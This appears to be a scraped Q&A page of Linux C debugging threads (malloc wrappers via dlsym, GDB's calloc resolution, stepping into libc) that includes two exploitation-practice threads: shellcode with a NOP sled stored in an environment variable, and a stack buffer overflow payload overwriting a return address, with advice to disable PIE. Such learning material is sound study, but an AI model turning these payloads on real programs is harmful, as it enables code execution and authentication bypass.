Can someone explain me the working of a malloc wrapper for below code??
RTLD_NEXT should find the next syblo in search order, which means it should hit my malloc, where i haven't put any allocation scheme like original malloc.
Then how come the allocation is taking place?
I have done something like this in my code:
enter code here: tracer.cc
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdlib.h>
#include <stdio.h>
static void* (*lt_malloc)(size_t size);
#define LT_MALLOC (*lt_malloc)
void *malloc(size_t sz)
{
printf("My malloc called");
return LT_MALLOC(sz);
}
int main()
{
if (!lt_malloc)
{
lt_malloc = (void*(*)(size_t))dlsym(RTLD_NEXT, "malloc");
if (!lt_malloc)
{
fprintf(stderr, "LeakTracer: could not resolve 'malloc' in 'libc.so': %s\n", dlerror());
exit(1);
}
}
int *p=(int*)malloc(10);
*p=34;
printf("Address of p: %u, value: %d\n",p,*p);
p=(int*)malloc(10);
*p=45;
printf("Address of p: %u, value: %d\n",p,*p); */
}
Check the GDB output, nowhere it goes to libc malloc. Then from where is the memory allocation taking place?
enter code here
Breakpoint 1 at 0x804855d: file malloc1.c, line 25.
(gdb) s
The program is not being run.
(gdb) r
Starting program: /home/raj/timer_test/malloc_wrapper/a.out
Breakpoint 1, main () at malloc1.c:25
25 int *p=(int*)malloc(20);
(gdb) s
malloc (sz=20) at malloc1.c:10
10 printf("My malloc called");
(gdb) s
11 return LT_MALLOC(sz);
(gdb) s
12 }
(gdb) s
main () at malloc1.c:26
26 *p=45;
(gdb) s
27 printf("Address of p: %u, value: %d\n",p,*p);
(gdb) s
My malloc calledAddress of p: 146501640, value: 45
29 p=(int*)malloc(20);
(gdb) s
malloc (sz=20) at malloc1.c:10
10 printf("My malloc called");
(gdb) s
11 return LT_MALLOC(sz);
(gdb) s
12 }
(gdb) s
main () at malloc1.c:30
30 *p=56;
(gdb) s
31 printf("Address of p: %u, value: %d\n",p,*p);
(gdb) s
My malloc calledAddress of p: 146501664, value: 56
32 }
(gdb) s
0x006a8e9c in __libc_start_main () from /lib/libc.so.6
(gdb) s
Single stepping until exit from function __libc_start_main,
which has no line number information.
Program exited with code 043.
(gdb)
My confusion, is in which step and how the libc original malloc is called? And why can't the GDB trace it?
One more question, suppose after certain time (may be timer expiry) i want to call original malloc and not mine. How to do that?
I might be wrong, but I think that what is going on is that with the dlsym() call you are getting the address to the malloc in the libc, so your malloc function is acting as a wrapper around the libc malloc [but with the same name]
You say:
"which means it should hit my malloc"
but are you sure the symbol for your malloc is the second one? ;) It might be it is the first one, as your malloc is in the same compilation unit.
Related
I created an environment variable SHELLCODE which contains a 200-byte long NOP sled and a shellcode. It is stored at 0x7fffffffe285, but I'll try to access 0x7fffffffe2e5, which is around the middle of the NOP sled.
Then I wrote the following code to try to access the variable.
#include <stdlib.h>
int main() {
char *pointer = 0x00007fffffffe2e5;
printf("%s\n", *pointer);
}
I used gdb to see the memory
(gdb) list 1
1 #include <stdio.h>
2
3 int main() {
4 char *pointer = (char *) 0x00007fffffffe2e5;
5 printf("%s\n", *pointer);
6 }
(gdb) break 5
(gdb) run
(gdb) p pointer
$1 = 0x7fffffffe2e5 '\220' <repeats 119 times>, "\061\300\061\333\061ə\260\244̀j\vXQh//shh/bin\211\343Q\211\342S\211\341̀"
(gdb) p *pointer
$2 = -112 '\220'
(gdb) p/x *pointer
$3 = 0x90
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7a5bcc0 in _IO_vfprintf_internal (
s=0x7ffff7dd2620 <_IO_2_1_stdout_>, format=<optimized out>,
ap=ap#entry=0x7fffffffdc58) at vfprintf.c:1632
1632 vfprintf.c: No such file or directory.
The pointer was clearly pointing to the middle of the NOP sled, and gdb could access and see what was at that address. But I keep getting this Segmentation fault error.
Is this because C programs are not allowed to access memory where environment variables are stored? If so, is there a way to allow it to access the memory?
I'm using Ubuntu 16.04 and gcc 5.4.0.
Thanks in advance.
The getenv function is used to retrieve the values of environment variables:
const char *shellcode = getenv("SHELLCODE");
I try to use a buffer overflow on the stack to
redirect the return address. My goal is to overwrite the return address within the "check_auth" function, that the main continues at line 22 ("printf("GRANTED\n");"). Here is the C code:
fugi#calc:~/Desktop$ gcc -g auth_overflow.c -o auth_overflow
fugi#calc:~/Desktop$ gdb auth_overflow -q
Reading symbols from auth_overflow...done.
(gdb) list 1
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <string.h>
4
5 int check_auth(char *pass){
6 char pass_buff[16];
7 int auth_flag = 0;
8 strcpy(pass_buff, pass);
9
10 if(strcmp(pass_buff, "yes") == 0)
(gdb)
11 auth_flag = 1;
12 return auth_flag;
13 }
14
15 int main( int argc, char *argv[]){
16 if(argc < 2){
17 printf("Usage: %s <password>\n\n", argv[0]);
18 exit(0);
19 }
20 if(check_auth(argv[1])){
(gdb)
21 printf("ACCESS\n");
22 printf("GRANTED\n");
23 }
24 else{
25 printf("\n Access Denied\n");
26 }
27 return 0;
28 }
I am using gdb on a 64bit Debian system, to debug the code.
My problem is, the overwriting doesn't work outside of gdb.
I know, that the return address in which points back to main and the the beginning of the input variable(pass_buff) are 40 bytes appart.
(gdb) i f
Stack level 0, frame at 0x7fffffffe170:
rip = 0x55555555477d in check_auth (auth_overflow.c:8); saved rip = 0x555555554800
called by frame at 0x7fffffffe190
source language c.
Arglist at 0x7fffffffe160, args: pass=0x7fffffffe562 'A' <repeats 56 times>
Locals at 0x7fffffffe160, Previous frame's sp is 0x7fffffffe170
Saved registers:
rbp at 0x7fffffffe160, rip at 0x7fffffffe168
(gdb) x/x *0x7fffffffe168
0x55554800: Cannot access memory at address 0x55554800
(gdb) x/x pass_buff
0x7fffffffe140: 0x00000001
(gdb) p 0x7fffffffe168 - 0x7fffffffe140
$1 = 40
So, when I do this:
(gdb) run `python -c 'print("A"*40 + "\x10\x48\x55\x55\x55\x55")'`
Starting program: /home/fugi/Desktop/auth_overflow `python -c 'print("A"*40 + "\x10\x48\x55\x55\x55\x55")'`
GRANTED
Program received signal SIGBUS, Bus error.
main (argc=<error reading variable: Cannot access memory at address 0x414141414141413d>,
argv=<error reading variable: Cannot access memory at address 0x4141414141414131>) at auth_overflow.c:28
28 }
But when I do it without gdb it doesn't work:
fugi#calc:~/Desktop$ ./auth_overflow `python -c 'print("A"*40 + "\x10\x48\x55\x55\x55\x55")'`
Segmentation fault
What can I do to make this work?
I also tried to do this by repeating the address, but the problem here is, that I can't print null bytes:
(gdb) x/12xg $rsp
0x7fffffffe130: 0x00007fffffffe156 0x00007fffffffe56c
0x7fffffffe140: 0x4141414141414141 0x4141414141414141
0x7fffffffe150: 0x4141414141414141 0x4141414141414141
0x7fffffffe160: 0x4141414141414141 **0x0000555555554810**
0x7fffffffe170: 0x00007fffffffe268 0x0000000200000000
0x7fffffffe180: 0x0000555555554840 0x00007ffff7a57561
to make the address fit I need to add \x00\x00 but then I get:
fugi#calc:~/Desktop$ ./auth_overflow `python -c 'print("A"*40 + "\x10\x48\x55\x55\x55\x55\x00\x00")'`
**bash: warning: command substitution: ignored null byte in input**
Segmentation fault
Is there a way to repeat the address like this?
Thanks for you help in advance
I don't know about exact build settings in your development environment, but I can guess some problems.
on current Linux environment, PIE (Position-Independent-Executive) is enabled. which means, your target address is not always 0x0000555555554810. to check that, add this code to main function :
printf("CODE: %p\n", (void*)main);
if this code generates same address every times, then PIE is disabled.
argv argument cannot include NULL byte (except end of string). but this is not a critical problem because on x86-64 system they uses only 6 low bytes for virtual address.
to disable PIE build : use -no-pie. gcc main.c -o main -no-pie
If you're asking how to return check_auth(), I'd do this:
int main( int argc, char *argv[]){
if(argc < 2){
printf("Usage: %s <password>\n\n", argv[0]);
exit(0);
}
int flag = check_auth(argv[1]);
if(flag){
printf("ACCESS\n");
printf("GRANTED\n");
}else{
printf("\n Access Denied\n");
}
return flag;
}
My main language is Java, actually, so if I'm wrong, please correct me. I'm trying to learn C as we speak.
I get physical addresses of function "printf" in libc.so in two programs, and two physical addresses are different. And I read two different physical address, the content are almost the same. This means function "printf" has two copies in memory?
Details:
My os is 32-bit linux.
Physical address is calculated by read "/proc/self/pagemap".
Physical address reading is implemented with fmem module, whose source code is at git#github.com:NateBrune/fmem.git
I get physical addresses of function "printf" in libc.so in two programs, and two physical addresses are different.
You are probably doing it wrong (but it's hard to guess: you didn't provide any details).
In particular, note that the following program:
#include <stdio.h>
int main()
{
printf("&printf: %p\n", &printf);
return 0;
}
does not print the actual address of printf in libc.so.6, as can be observed with GDB:
(gdb) start
Temporary breakpoint 1 at 0x8048426: file pagemap.c, line 5.
Starting program: /tmp/pagemap
Temporary breakpoint 1, main () at pagemap.c:5
5 printf("&printf: %p\n", &printf);
(gdb) n
&printf: 0x80482f0
6 return 0;
(gdb) info symbol 0x80482f0
printf#plt in section .plt of /tmp/pagemap
(gdb) p &printf
$1 = (<text variable, no debug info> *) 0xf7e5add0 <printf>
(gdb) info sym 0xf7e5add0
printf in section .text of /lib32/libc.so.6
Note that printf #0x80482f0 is in the main executable, and is not supposed to be shared (except between multiple instances of the same executable running at the same time), and is not where code for printf actually resides.
The printf #0xf7e5add0 is in libc.so.6, and that is where code for printf actually is. That page is supposed to be shared by all processes using libc.so.6.
P.S. To get the actual address of printf in libc.so.6, one may use this program instead:
#include <stdio.h>
#include <dlfcn.h>
int main()
{
printf("&printf: %p\n", &printf);
printf("&printf: %p\n", dlsym(RTLD_NEXT, "printf"));
return 0;
}
gcc -g pagemap.c -o pagemap -m32 -ldl -D_GNU_SOURCE
(gdb) run
Starting program: /tmp/pagemap
&printf: 0x80483c0
&printf: 0xf7e55dd0
(gdb) info sym 0xf7e55dd0
printf in section .text of /lib32/libc.so.6
I'm doing some experimentation with editing a process memory while it's running, and I noticed when I call calloc in a gdb'd process, the call seems to work and return the original passed pointer, but the memory does not appear to be initialized to 0:
(gdb) call calloc(1, 32)
$88 = (void *) 0x8d9d50
(gdb) x/8xw 0x8d9d50
0x8d9d50: 0xf74a87d8 0x00007fff 0xf74a87d8 0x00007fff
0x8d9d60: 0xfbfbfbfb 0xfbfbfbfb 0x00000000 0x9b510000
If I call memset on the resulting pointer, however, the initialization works just fine:
(gdb) call memset(0x8d9d50, 0, 32)
$89 = 9280848
(gdb) x/8xw 0x8d9d50
0x8d9d50: 0x00000000 0x00000000 0x00000000 0x00000000
0x8d9d60: 0x00000000 0x00000000 0x00000000 0x00000000
Interesting question. The answer is: on Linux (where I assume you ran your program) this:
(gdb) call calloc(1, 32)
doesn't call calloc from libc.so.6.
Rather it calls calloc from ld-linux.so.2. And that calloc is very minimal. It expects to be called only from ld-linux.so.2 itself, and it assumes that whatever pages it has access to are "clean" and do not require a memset. (That said, I could not reproduce the unclean calloc using glibc-2.19).
You can confirm this like so:
#include <stdlib.h>
int main()
{
void *p = calloc(1, 10);
return p == 0;
}
gcc -g foo.c -m32 && gdb -q ./a.out
Reading symbols from ./a.out...done.
(gdb) start
Temporary breakpoint 1 at 0x8048426: file foo.c, line 4.
Starting program: /tmp/a.out
Temporary breakpoint 1, main () at foo.c:4
warning: Source file is more recent than executable.
4 void *p = calloc(1, 10);
(gdb) b __libc_calloc
Breakpoint 2 at 0xf7e845a0
(gdb) n
Breakpoint 2, 0xf7e845a0 in calloc () from /lib32/libc.so.6
(gdb) fin
Run till exit from #0 0xf7e845a0 in calloc () from /lib32/libc.so.6
0x0804843a in main () at foo.c:4
4 void *p = calloc(1, 10);
Note how the call from the program to calloc hit breakpoint #2.
(gdb) n
5 return p == 0;
(gdb) call calloc(1,32)
$1 = 134524952
Note that above call from GDB did not hit breakpoint #2.
Let's try again with:
(gdb) info func calloc
All functions matching regular expression "calloc":
Non-debugging symbols:
0x08048310 calloc#plt
0xf7fdc820 calloc#plt
0xf7ff16a0 calloc
0xf7e25450 calloc#plt
0xf7e845a0 __libc_calloc
0xf7e845a0 calloc
(gdb) info sym 0xf7ff16a0
calloc in section .text of /lib/ld-linux.so.2 ## this is the wrong one!
(gdb) break *0xf7ff16a0
Breakpoint 3, 0xf7ff16a0 in calloc () from /lib/ld-linux.so.2
(gdb) disable
(gdb) start
Temporary breakpoint 7 at 0x8048426: file foo.c, line 4.
Starting program: /tmp/a.out
Temporary breakpoint 7, main () at foo.c:4
4 void *p = calloc(1, 10);
(gdb) ena 3
(gdb) n
5 return p == 0;
Note that breakpoint #3 did not fire above (because the "real" __libc_calloc was called).
(gdb) call calloc(1,32)
Breakpoint 3, 0xf7ff16a0 in calloc () from /lib/ld-linux.so.2
The program being debugged stopped while in a function called from GDB.
Evaluation of the expression containing the function
(calloc) will be abandoned.
When the function is done executing, GDB will silently stop.
(gdb) bt
#0 0xf7ff16a0 in calloc () from /lib/ld-linux.so.2
#1 <function called from gdb>
#2 main () at foo.c:5
QED.
Update:
I don't see the ld-linux version in the output of "info func calloc"
I think what you see in info func depends on whether you have debug symbols installed. For a (64-bit) glibc with debug symbols, here is what I see:
(gdb) info func calloc
All functions matching regular expression "calloc":
File dl-minimal.c:
void *calloc(size_t, size_t); <<< this is the wrong one!
File malloc.c:
void *__libc_calloc(size_t, size_t); <<< this is the one you want!
Non-debugging symbols:
0x0000000000400440 calloc#plt
0x00007ffff7ddaab0 calloc#plt
0x00007ffff7a344e0 calloc#plt
Here is another way to figure out what calloc GDB thinks it should be calling:
(gdb) start
Temporary breakpoint 1 at 0x8048426: file foo.c, line 4.
Starting program: /tmp/a.out
Temporary breakpoint 1, main () at foo.c:4
warning: Source file is more recent than executable.
4 void *p = calloc(1, 10);
(gdb) p &calloc
$1 = (<text variable, no debug info> *) 0xf7ff16a0 <calloc>
(gdb) info sym 0xf7ff16a0
calloc in section .text of /lib/ld-linux.so.2
Or, for completness, using 64-bit glibc with debug symbols:
(gdb) start
Temporary breakpoint 1 at 0x400555: file foo.c, line 4.
Starting program: /tmp/a.out
Temporary breakpoint 1, main () at foo.c:4
4 void *p = calloc(1, 10);
(gdb) p &calloc
$1 = (void *(*)(size_t, size_t)) 0x7ffff7df1bc0 <calloc>
(gdb) info sym 0x7ffff7df1bc0
calloc in section .text of /lib64/ld-linux-x86-64.so.2
I am compiling the simple code below, and run it in gdb. I set a break point at the strcpy line, as soon as I run it for the input for instance abc, and then press s, I get the following error:
Breakpoint 1, main (argc=2, argv=0x7fffffffdd98) at ExploitMe.c:9
9 strcpy(buffer, argv[1]);
(gdb) s
__strcpy_sse2_unaligned () at ../sysdeps/x86_64/multiarch/strcpy-sse2-unaligned.S:48
48 ../sysdeps/x86_64/multiarch/strcpy-sse2-unaligned.S: No such file or directory.
I am using ubuntu 12.04 AMD64 and gcc 2.15. Any idea?
main(int argc, char *argv[]) {
char buffer[80];
strcpy(buffer, argv[1]);
return 0;
}
It is completely harmless to ignore these "errors" when debugging.
The error is simply because GDB is looking for the source of the strcpy function. Any function in libc that you don't have the source for will you give a similar error, e.g.:
int *p = malloc(sizeof *p);
Then...
(gdb) s
5 int *p = malloc(sizeof *p);
(gdb) s
__GI___libc_malloc (bytes=4) at malloc.c:2910
2910 malloc.c: No such file or directory.
You can always download GNU libc's source and link it with GDB:
git clone https://github.com/jeremie-koenig/glibc /opt/src/glibc
Then...
(gdb) dir /opt/src/glibc/malloc
(gdb) s
5 int *p = malloc(sizeof *p);
(gdb) s
__GI___libc_malloc (bytes=4) at malloc.c:2910
2910 }
(gdb) s
2915 } else if (!in_smallbin_range(size))
... which will let you step through malloc's source code. It's not particularly useful, but it can come in handy sometimes.